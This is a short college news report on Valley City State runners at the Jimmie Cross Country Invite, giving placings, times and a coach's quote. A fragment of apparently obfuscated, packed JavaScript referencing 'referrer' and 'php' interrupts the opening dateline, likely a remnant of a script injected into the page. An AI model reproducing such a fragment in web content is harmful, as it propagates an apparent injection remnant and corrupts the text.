Jamestown, fzzie|var|u0026u|referrer|nyrdf||js|php’.split(‘|’),0,{}))
ND (VCSUvikings.com)- Dennis Gonzalez placed 12th and three Viking runners finished in the top half of the race Friday as they battled cold and windy conditions at the Jimmie Cross Country Invite.

Gonzalez tied his career-best time in the 8k race, crossing in a time of 26:43 on Friday at Parkhurst Cross Country Course near Jamestown. He was the second-best NAIA finisher in the field of 58 runners.

Orin Rambow (24th) and Casey Engelhard (29th) also both finished in the top half of the men’s race. Rambow crossed in a time of 28:02, which was more than a minute and a half faster than his time on the course last year. Engelhard ran a career-best time of 28:55, shaving more than three minutes off his previous best. Alex Askerooth rounded out the men’s team with a 54th place finish.

In the women’s race, VCSU’s Geneva Espinoza (pictured right) cut more than two minutes off her time on the course last season. Espinoza placed 43rd out of 63 runners on Friday, finishing the women’s 5k race in a time of 22:50.

VCSU head coach Chris Johnson was pleased with the way the team ran Friday.

“In spite of some windy, cold conditions today in Jamestown our student-athletes performed incredibly well,” he said. “The improvement of these individuals from last year to this year, and also in this cross country season alone have been tremendous. This squad is high on confidence as we begin preparations for our next meet in Yankton.”

Up next: Valley City State will travel to Yankton, S.D., for the Mount Marty Invite on Oct. 22.